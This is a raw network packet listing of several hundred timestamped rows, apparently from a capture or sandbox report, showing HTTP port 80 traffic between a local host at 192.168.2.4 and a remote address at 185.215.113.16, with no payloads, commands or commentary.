Oct 31, 2024 20:52:09.282458067 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282469988 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282478094 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282483101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282504082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282504082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282516956 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282531977 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282541990 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282546043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282567978 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282572985 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282579899 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282589912 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282593012 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282603025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282617092 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282618999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282646894 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282668114 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282753944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282767057 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282777071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282788992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282800913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282809019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282812119 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282825947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.282838106 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282855988 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.282885075 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.447947025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.447963953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.447987080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448000908 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448009968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448021889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448035002 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448237896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448249102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448260069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448295116 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448307037 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448323965 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448385954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.448385954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.448385954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.448385954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.448421001 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.448421001 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.448440075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448458910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448471069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.448487997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.448514938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.449471951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449484110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449496031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449506998 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449526072 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.449539900 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.449598074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449641943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.449652910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449667931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449692011 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.449704885 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.449717045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449754000 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.449781895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449794054 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449804068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449829102 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.449851036 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.449923038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449934006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449944973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449958086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.449968100 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.449995041 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450017929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450031042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450040102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450063944 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450077057 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450436115 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450448036 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450459957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450481892 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450505018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450596094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450606108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450617075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450628042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450637102 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450639963 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450650930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450663090 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450668097 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450701952 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450701952 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450752974 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450763941 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450773954 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450788021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450798035 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450805902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450828075 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450830936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450843096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450853109 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450865984 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450865984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450879097 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.450887918 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.450920105 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451040030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451051950 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451064110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451075077 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451081038 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451086998 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451107025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451109886 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451118946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451129913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451134920 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451143026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451160908 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451164007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451175928 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451188087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451188087 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451200962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451209068 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451210976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451224089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451231003 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451250076 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451273918 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451337099 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451348066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451360941 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451374054 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451375008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451389074 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451412916 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451440096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451451063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451461077 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451471090 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451477051 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451483011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451494932 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451504946 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451533079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451606989 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451617956 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451632023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451638937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451641083 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451647997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451648951 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451662064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451668024 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451674938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451690912 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451708078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451713085 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451719999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451729059 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451750040 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451760054 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451776981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451788902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451803923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451809883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451812983 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451813936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451818943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451833963 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451850891 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.451872110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.451910019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.613413095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.613444090 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.613456011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.613470078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.613508940 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.613542080 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.614546061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614595890 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.614598989 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614612103 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614626884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614631891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614640951 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.614664078 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.614681005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614710093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614717007 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.614720106 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614753008 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.614763975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614799976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.614876986 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614927053 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.614936113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614945889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614965916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.614980936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.615000010 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.615009069 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.615025997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.615048885 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.615390062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.615432978 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.615444899 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.615483046 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.615499020 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.615508080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.615544081 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.615931988 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.615942001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.615979910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616070032 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616079092 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616117954 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616250992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616262913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616274118 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616286039 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616293907 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616302013 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616312981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616318941 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616323948 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616350889 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616365910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616583109 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616625071 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616633892 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616647005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616677046 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616713047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616731882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616746902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616755962 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616758108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616770029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616780043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616780996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616806984 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616825104 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616879940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616890907 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616908073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.616923094 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616931915 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.616955996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617295980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617307901 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617317915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617352009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617362976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617402077 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617412090 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617434025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617444992 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617444992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617456913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617469072 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617495060 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617655993 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617700100 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617726088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617739916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617753029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617765903 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617784023 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617796898 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617805958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617816925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617827892 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617851019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617876053 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617902040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617913008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617923021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617937088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.617945910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.617970943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618108034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618124962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618140936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618151903 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618153095 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618164062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618175983 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618185043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618211031 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618216038 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618231058 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618242025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618252993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618277073 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618305922 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618318081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618333101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618335962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618351936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618371010 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618397951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618410110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618418932 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618437052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618444920 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618446112 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618449926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618463993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618480921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618486881 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618493080 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618504047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618513107 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618527889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618539095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618539095 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618549109 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618561029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618566036 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618590117 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618604898 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618613958 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618618011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618634939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618658066 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618690014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:09.618730068 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:09.618735075 CET	80	49734	185.215.113.16	192.168.2.4
